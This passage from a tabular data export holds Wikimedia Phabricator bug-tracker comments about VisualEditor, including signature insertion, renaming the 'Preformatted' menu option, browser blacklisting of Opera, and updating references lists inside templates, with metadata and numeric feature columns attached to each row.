+This is the only feature blocking VE from being useful in a much wider variety of contexts, in my opinion.  (And it's odd for all sig options to be missing when reminders about how to sign and where to sign are some of the most prominent in the MediaWiki interface otherwise.)",,,1390419772,,PHID-USER-fgzcdbj3je3ksnhufo47,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+231722,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Let_me_sign.21
+
+^Updated link",,,1373787620,,PHID-USER-kmbrbjm7jackp4nrang3,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231714,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"The VisualEditor isn't going to be in project space at any point in the near future, however.",,,1373571593,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+52918,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","**Author:** `mcdevitd`
+
+**Description:**
+""Preformatted"" is HTML jargon which most of VisualEditor's target users will not understand, and it actually produces an effect (text with less formatting) which is unexpected if you don't know what it means beforehand. It should either be given a plain-language name so that people will expect the behavior, or removed.
+
+I actually don't understand why this style effect is in the header-level pull-down when it is not a header-level. My preference is to remove it, since it is uncommon and mostly adding noise, but it should be renamed if kept.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1373247780,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_description,open,True,c1,3,False,False,,1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0
+242637,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","Also, a dictionary cite for usage of ""pre-formatted"": http://www.oed.com/view/Entry/149454?rskey=n6kMKv&result=2&isAdvanced=false#eid51449481 (not that it gives a definition or synonym we could use).",,,1394476377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,True,,,36,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0
+242633,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","(In reply to Dominic from comment #7)
+> (In reply to James Forrester from comment #6)
+> > (In reply to MZMcBride from comment #5)
+> > 
+> > I'm inclined to WONTFIX at this point…
+> 
+> I was under the impression that VisualEditor was about removing jargon
+
+Sort-of.
+
+Actually, it's about making it easy to edit content.
+
+
+> and unneeded advanced features that clutter the user experience.
+
+No.
+
+In meeting the ""making it easy to edit content"" objective, we can't rope off some content that is considered ""too difficult"" to explain nicely.
+
+
+> All three of the other commenters here agreed that ""Preformatted"" is jargon
+> that should at least be renamed using plain language.
+
+Sure, but no-one has actually suggested something they think is better yet (Chris suggested ""monospace"", but said he didn't like it, and I somewhat agree). Until such time as someone suggests a better term, this is unfixable.
+
+
+> And it's not really even clear why we expect ""preformatted"" to be a common
+> enough formatting choice among VisualEditor users that it even merits the
+> inclusion in that menu.
+
+That's a more interesting question, yes, as I said in comment 6. But that's not what other people's comments on this bug have been about.
+
+
+> Your comment on WONTFIXing the report doesn't address the actual problem
+> being raised.
+
+Pick one. Either this bug is about removing ""preformatted"" as an option, in which case WONTFIX stands, or it's about something else (""come up with a different name""? ""have a secondary system for less-common formats""? something else?) and make it about that?
+
+
+
+(In reply to MZMcBride from comment #8)
+> Eh, this is a bad wontfix. My dictionary doesn't contain ""preformatted""; we
+> can probably come up with a better term.
+
+See above.
+
+
+> Regarding the user interface, it's a bit confusing why there's a text
+> formatting menu (paragraph text and headings) next to another text
+> formatting menu (bold, underline, computer code, etc.). It might make sense
+> to move the artist currently known as preformatted to the bottom of the
+> latter menu as it's not very commonly needed (about as commonly needed as
+> needing to write ""computer code"" using VisualEditor, surely).
+
+It's formatting vs. styling; one operates on paragraphs, the other on selections (which can be smaller than a paragraph). I agree that it's confusing (yay HTML and MediaWiki), but I think it would be more confusing to have things in the same menu that do radically different things without distinction.",,,1394475244,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,True,,,36,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+242629,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","Eh, this is a bad wontfix. My dictionary doesn't contain ""preformatted""; we can probably come up with a better term.
+
+Regarding the user interface, it's a bit confusing why there's a text formatting menu (paragraph text and headings) next to another text formatting menu (bold, underline, computer code, etc.). It might make sense to move the artist currently known as preformatted to the bottom of the latter menu as it's not very commonly needed (about as commonly needed as needing to write ""computer code"" using VisualEditor, surely).",,,1393989052,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,35,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+242625,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","**mcdevitd** wrote:
+
+(In reply to James Forrester from comment #6)
+> (In reply to MZMcBride from comment #5)
+> 
+> I'm inclined to WONTFIX at this point…
+
+I was under the impression that VisualEditor was about removing jargon and unneeded advanced features that clutter the user experience. All three of the other commenters here agreed that ""Preformatted"" is jargon that should at least be renamed using plain language. And it's not really even clear why we expect ""preformatted"" to be a common enough formatting choice among VisualEditor users that it even merits the inclusion in that menu.
+
+Your comment on WONTFIXing the report doesn't address the actual problem being raised.",,,1393987799,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,35,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+242621,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","(In reply to MZMcBride from comment #5)
+> Should this bug report continue to be assigned?
+> 
+> I think a mock would help here.
+
+A mock of what? Moving some (but not all) paragraph-level formats somewhere else seems like a really bad design. We'd be talking about pre-formatted, blockquote, and maybe other like poem and so-on being in one menu, and other tools that operate in the exact same way (e.g. don't apply to a selection). I'm inclined to WONTFIX at this point…",,,1393527782,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,True,,,34,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+242615,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","Should this bug report continue to be assigned?
+
+I think a mock would help here.",,,1392360410,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,32,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+242608,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","Now that we have the ""more"" menu I don't think the button issue exists (to the same degree at least) as it did.
+
+As the ""preformatted"" name I agree it doesn't make sense, as this isn't really what it does. I was going to suggest ""monospaced"" but it's more than that - it's monospaced and indented with a shaded background. However, <code> also produces monospace and a shaded background but that is different.",,,1379693519,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+242601,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","**mcdevitd** wrote:
+
+My confusion came from the fact that the user guide refers to it as the ""Headings pull-down menu"" (http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/User_guide#Getting_started:_the_VisualEditor_toolbar), and every other option in the menu is a heading level (or no level), not a style.
+
+If there is somewhere else where styles like pre are going to go, or you intend to add other styles to this same menu, that's fine with me, but my original point about it being jargon still stands. (Though if you add more style options to the same menu, I think that is even more reason to remove pre as noise.)",,,1373524183,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0
+242595,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","This isn't a ""header pull-down menu"", it's a text style menu. Also, having yet another control in the toolbar (for blockquote, pre and whatever else) doesn't feel great. :-(",,,1373504408,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+242588,"VisualEditor: Come up with a different name for ""Preformatted"" in the text formatting menu","I agree.
+
+It's strange that it's currently in the header menu. A separate menu for <blockquote> and <pre> may make sense.",,,1373282762,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pdpuwrbqccg6nncfnxuk,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+52813,VisualEditor: Remove Opera from blacklist,"I think we can (almost) remove Opera from the blacklist now, see blocking bug 36000. Opera < 12 should still probably be blacklisted, though, and < 10 should be blacklisted for sure (there's a bunch of people who insist that 9.64 was the ultimate version ever and stick to it).
+
+It'd be cool if it could be added to the whitelist as well, but I guess that would be a promise to support it and you guys probably don't want to promise that ;)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1373044680,1375135090.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-g36wsrlii3gd62hxtn2u,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+236622,VisualEditor: Remove Opera from blacklist,It was unblacklisted in the now-merged Ia80a6f53.,,,1375135090,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g36wsrlii3gd62hxtn2u,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+236616,VisualEditor: Remove Opera from blacklist,"(In reply to comment #2)
+> Note that the Presto engine-based Opera 12.x is being end-of-lined; the new
+> Opera 15 is Chromium-based.
+
+There is no release date or anything apart from a very early alpha of Opera 15 (which basically does nothing apart from showing pages). I'd say Opera 12 still has a bit of time before it.
+
+
+> Is it worth worrying about Opera 12.x compatibility?
+
+Still, objectively, maybe it's not. But I care personally. :)",,,1373052515,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g36wsrlii3gd62hxtn2u,task_subcomment,,True,c1,3,True,,,0,,0,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+236607,VisualEditor: Remove Opera from blacklist,"Note that the Presto engine-based Opera 12.x is being end-of-lined; the new Opera 15 is Chromium-based.
+
+Is it worth worrying about Opera 12.x compatibility?",,,1373046513,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-g36wsrlii3gd62hxtn2u,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+236599,VisualEditor: Remove Opera from blacklist,"(In reply to comment #0)
+> I think we can (almost) remove Opera from the blacklist now, see blocking bug
+> 36000. Opera < 12 should still probably be blacklisted, though, and < 10
+> should
+> be blacklisted for sure (there's a bunch of people who insist that 9.64 was
+> the
+> ultimate version ever and stick to it).
+> 
+> It'd be cool if it could be added to the whitelist as well, but I guess that
+> would be a promise to support it and you guys probably don't want to promise
+> that ;)
+
+Very happy to add to the whitelist if you're sure that everything works perfectly. It's not a state a browser can only reach if supported by WMF, if you want to commit to doing that. The comprehensive testing is quite a high bar, however - does Opera now cope with everything at mediawiki.org/wiki/VisualEditor/Basic_example_worksheet ?",,,1373046107,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g36wsrlii3gd62hxtn2u,task_subcomment,,True,c1,3,True,,,0,,0,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+52804,VisualEditor: VisualEditor needs easter eggs,"Because.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1373035320,1393642162.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-eulhe75w7cy7if64iutj,task_description,declined,True,c1,3,False,False,False,0,,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+236119,VisualEditor: VisualEditor needs easter eggs,"Call me boring, but… :-)",,,1393642162,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0
+236112,VisualEditor: VisualEditor needs easter eggs,"(In reply to comment #4)
+> Articles mysteriously being littered with ♙ and ☃ doesn't count? :-)
+
+No :P",,,1383332239,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1
+236104,VisualEditor: VisualEditor needs easter eggs,Articles mysteriously being littered with ♙ and ☃ doesn't count? :-),,,1383324321,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+236099,VisualEditor: VisualEditor needs easter eggs,,,,1373035563,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+236089,VisualEditor: VisualEditor needs easter eggs,"Maybe it already has them, and we're just not cool enough to know...",,,1373035520,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+236083,VisualEditor: VisualEditor needs easter eggs,Maybe you're just not looking hard enough,,,1373035486,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-eulhe75w7cy7if64iutj,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+52769,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"When you add a new citation in VE, templates which wrap the `<references />` tag do not update to display it until the page is saved. Examples include [[https://en.wikipedia.org/wiki/Template:Reflist|`{{reflist}}`]] on the English Wikipedia and [[https://es.wikipedia.org/wiki/Plantilla:Listaref|`{{listaref}}`]] on the Spanish Wikipedia. This bug doesn't block any of the core citation workflows (creating, editing, and reusing) since those are accessed from the toolbar and the in-text reference numbers, but it's still very annoying. 
+
+However, it remains unfixed because it's an //extraordinarily// hard technical challenge, verging on impossible given the current architecture of Mediawiki. No one has any idea what a workable solution would look like. Just to give one facet of the problem, you could implement this in VE right now //if// you completely re-parsed the entire page every time the user touched a template or a reference—which would be a //horrible// user experience and place //insane// loads on the servers. It's possible that in the future, someone will think up a brilliant solution that avoids all these huge issues, so this task remains open.
+
+In the meantime, the planned solution is to update the `<references />` tag, which does update properly during editing, to support multiple columns and alternative list styles so they have all the functionality of these templates (T53260). When that task has been completed, communities will be able to replace the templates with references tags at whatever pace and with whatever tools they prefer (if there's demand for it, it would probably be possible to do a more immediate, bot-driven changeover).
+",Lowest,10.0,1372969200,1518792292.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-kloqgpjwhtcokmj7eica,task_description,resolved,True,c1,3,False,False,False,0,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+1014180,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Thank you.
+",,,1518731537,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+1014122,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Thanks, I've filed T187495.",,,1518726539,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+1013823,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,">>! In T52769#3975407, @Esanders wrote:
+> Can you link to an example?
+Sure:
+https://he.wikipedia.org/wiki/%D7%90%D7%93%D7%99_%D7%A7%D7%91%D7%98%D7%A0%D7%A8?veaction=edit&uselang=en",,,1518706913,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,0,0,0,1
+1013764,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,Can you link to an example?,,,1518702862,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+1013480,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Hi. Our wiki does not show any references in reflists at all in VE now, the list is empty. All of them are created by reference template, rather than by tag. I was not sure it's new indeed, because I do not use VE, but people say it wasn't like this before.
+",,,1518653027,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,True,,,241,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+1009376,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Change 408604 **merged** by jenkins-bot:
+[mediawiki/extensions/Cite@master] Treat template-generated reference lists as real ones
+
+[[https://gerrit.wikimedia.org/r/408604]]",,,1518112687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,False,,,240,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1007898,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,"Change 408604 had a related patch set uploaded (by Esanders; owner: Esanders):
+[mediawiki/extensions/Cite@master] Treat template-generated reference lists as real ones
+
+[[https://gerrit.wikimedia.org/r/408604]]",,,1517948195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kloqgpjwhtcokmj7eica,task_subcomment,,True,c1,3,False,,,240,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+686070,Adding or updating a reference in VisualEditor does not update fake references blocks inside templates,">>! In T52769#541738, @Jdforrester-WMF wrote:
+> Note that we can't currently see a way to do this without round-tripping the entire page, which would be a sub-optimal solution, to put it mildly.
+
